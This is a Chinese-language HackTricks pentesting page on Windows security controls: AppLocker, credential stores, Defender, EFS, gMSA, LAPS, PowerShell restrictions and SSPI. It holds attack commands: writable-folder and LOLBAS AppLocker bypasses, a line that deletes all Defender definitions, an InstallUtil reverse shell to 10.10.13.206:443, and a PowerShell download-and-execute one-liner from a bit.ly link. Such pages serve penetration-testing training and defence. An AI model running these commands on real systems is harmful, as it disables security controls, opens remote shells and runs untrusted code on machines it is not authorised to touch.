hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md

17 KiB
Raw Blame History

Windows 安全控制

从零到英雄学习 AWS 黑客攻击 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker 策略

应用程序白名单是一个批准的软件应用程序或可执行文件列表,允许它们存在并在系统上运行。目标是保护环境免受有害的恶意软件和未经批准的软件的侵害,这些软件不符合组织的特定业务需求。

AppLocker 是 Microsoft 的应用程序白名单解决方案,它使系统管理员能够控制用户可以运行哪些应用程序和文件。它提供了对可执行文件、脚本、Windows 安装程序文件、DLL、打包应用程序和打包应用程序安装程序的细粒度控制
组织通常会阻止 cmd.exe 和 PowerShell.exe 以及对某些目录的写入访问权限,但这一切都可以被绕过

检查

检查哪些文件/扩展名被列入黑名单/白名单:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

AppLocker 规则也可以从本地注册表读取,位于 HKLM\Software\Policies\Microsoft\Windows\SrpV2

绕过

  • 用于绕过 AppLocker 策略的可写文件夹:如果 AppLocker 允许在 C:\Windows\System32C:\Windows 内执行任何内容,那么你可以使用可写文件夹绕过这个限制
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 常见的信任"LOLBAS's"二进制文件也可以用来绕过AppLocker。
  • 编写不当的规则也可能被绕过
  • 例如,<FilePathCondition Path="%OSDRIVE%*\allowed*"/>,您可以在任何地方创建一个名为allowed文件夹,它将被允许。
  • 组织通常也专注于阻止%System32%\WindowsPowerShell\v1.0\powershell.exe可执行文件,但忘记了其他PowerShell可执行文件位置,例如%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell_ISE.exe
  • DLL执行很少启用,因为它可能会给系统带来额外的负载,并且需要大量的测试来确保不会有任何故障。因此,使用DLL作为后门将有助于绕过AppLocker
  • 您可以使用ReflectivePickSharpPick执行Powershell代码并在任何进程中绕过AppLocker。更多信息请查看https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode

凭证存储

安全账户管理器 (SAM)

本地凭证存在于此文件中,密码是哈希处理的。

本地安全权限 (LSA) - LSASS

凭证(哈希处理的)被保存在此子系统的内存用于单点登录SSO目的。
LSA管理本地安全策略(密码策略,用户权限...)、认证访问令牌...
LSA将会是那个在SAM文件中(对于本地登录)检查提供的凭证,并与域控制器通信以认证域用户的。

凭证保存LSASS进程Kerberos票据NT和LM的哈希容易解密的密码。

LSA秘密

LSA可能会在磁盘上保存一些凭证

  • Active Directory的计算机账户密码无法访问的域控制器
  • Windows服务账户的密码
  • 计划任务的密码
  • 更多IIS应用程序的密码...

NTDS.dit

它是Active Directory的数据库。它只存在于域控制器中。

Defender

Microsoft Defender 是Windows 10和Windows 11以及Windows Server版本中可用的防病毒软件。它阻止常见的渗透测试工具,如**WinPEAS。然而,有方法可以绕过这些保护**。

检查

要检查Defender状态您可以执行PS cmdlet Get-MpComputerStatus(检查**RealTimeProtectionEnabled**的值以了解是否处于激活状态):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

要枚举它,您也可以运行:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

EFS (加密文件系统)

EFS 通过使用一个批量对称密钥加密文件,也被称为文件加密密钥,或者FEK。然后FEK 被与加密文件的用户关联的公钥加密,这个加密的 FEK 存储在加密文件的 $EFS 备用数据流中。为了解密文件EFS 组件驱动程序使用与 EFS 数字证书(用于加密文件)匹配的私钥来解密存储在 $EFS 流中的对称密钥。来源这里

文件在未经用户请求的情况下被解密的例子:

  • 文件和文件夹在复制到另一个文件系统(如 FAT32)格式化的卷之前会被解密。
  • 使用 SMB/CIFS 协议通过网络复制加密文件时,文件在通过网络发送之前会被解密。

使用此方法加密的文件可以被拥有者用户透明访问(加密它们的人),所以如果你能成为那个用户,你可以解密文件(更改用户密码并作为他登录不会起作用)。

检查 EFS 信息

检查一个用户是否使用了这项服务,检查这个路径是否存在:C:\users\<username>\appdata\roaming\Microsoft\Protect

使用 cipher /c <file>\ 检查有权访问文件
你也可以在文件夹内使用 cipher /ecipher /d加密解密所有文件

解密 EFS 文件

成为系统权限

这种方式要求受害用户在主机内运行一个进程。如果是这种情况,使用 meterpreter 会话,你可以模仿用户进程的令牌(impersonate_token 来自 incognito)。或者你可以直接迁移到用户的进程。

知道用户密码

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

组管理服务账户 (gMSA)

在大多数基础设施中,服务账户是典型的用户账户,具有“密码永不过期”选项。维护这些账户可能是一件真正的麻烦事,这就是为什么微软引入了管理服务账户

  • 不再需要密码管理。它使用一个复杂的、随机的、240字符的密码并在达到域或计算机密码过期日期时自动更改。
  • 它使用 Microsoft 密钥分发服务 (KDC) 来创建和管理 gMSA 的密码。
  • 它不能被锁定或用于交互式登录
  • 支持跨多个主机共享
  • 可用于运行计划任务(管理服务账户不支持运行计划任务)
  • 简化的 SPN 管理 - 如果计算机的 sAMaccount 详情或 DNS 名称属性发生变化,系统将自动更改 SPN 值。

gMSA 账户的密码存储在一个名为 msDS-ManagedPassword 的 LDAP 属性中,这个属性由 DC 每 30 天自动重置,可以由授权管理员和安装了它们的服务器检索。msDS-ManagedPassword 是一个加密数据块,称为 MSDS-MANAGEDPASSWORD_BLOB,它只能在连接安全时检索,例如LDAPS,或者当认证类型为‘密封 & 安全’时。

图片来自 https://cube0x0.github.io/Relaying-for-gMSA/

因此,如果正在使用 gMSA请查找它是否具有特殊权限,并检查您是否有权限读取服务的密码。

您可以使用 GMSAPasswordReader 读取此密码:

/GMSAPasswordReader --AccountName jkohler

还可以查看这个网页,了解如何执行NTLM中继攻击读取 gMSA密码

LAPS

****本地管理员密码解决方案LAPS允许您管理本地管理员密码(该密码是随机的,唯一的,并且定期更改) 在域加入的计算机上。这些密码集中存储在Active Directory中并使用ACL限制只有授权用户才能访问。如果您的用户被授予足够的权限您可能能够读取本地管理员的密码。

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS 受限语言模式

PowerShell **** 受限语言模式 锁定了许多使用PowerShell的必要功能例如阻止COM对象只允许批准的.NET类型基于XAML的工作流PowerShell类等等。

检查

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

绕过

#Easy bypass
Powershell -version 2

在当前的Windows中该Bypass将不起作用但您可以使用PSByPassCLM要编译它,您可能需要 添加引用 -> 浏览 -> 浏览 -> 添加 C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll将项目更改为.Net4.5

直接绕过:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

反向 shell

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

您可以使用 ReflectivePickSharpPick 在任何进程中执行Powershell代码并绕过受限模式。更多信息请查看:https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode

PS 执行策略

默认设置为受限。绕过此策略的主要方法:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

更多信息可以在这里找到

安全支持提供者接口 (SSPI)

是可以用来认证用户的 API。

SSPI 负责为想要通信的两台机器找到合适的协议。首选的方法是 Kerberos。然后 SSPI 将协商将使用哪种认证协议,这些认证协议称为安全支持提供者 (SSP),位于每台 Windows 机器内部,以 DLL 形式存在,两台机器必须支持相同的协议才能通信。

主要的 SSPs

  • Kerberos:首选的
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1NTLMv2:兼容性原因
  • %windir%\Windows\System32\msv1_0.dll
  • DigestWeb 服务器和 LDAP密码以 MD5 哈希形式存在
  • %windir%\Windows\System32\Wdigest.dll
  • SchannelSSL 和 TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate用于协商使用的协议Kerberos 或 NTLMKerberos 是默认的)
  • %windir%\Windows\System32\lsasrv.dll

协商可能提供几种方法或只提供一种。

UAC - 用户账户控制

用户账户控制 (UAC) 是一个功能,它启用了提升活动的同意提示

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


使用 Trickest 来轻松构建和自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

通过 htARTE (HackTricks AWS 红队专家) 从零开始学习 AWS 黑客攻击!

其他支持 HackTricks 的方式: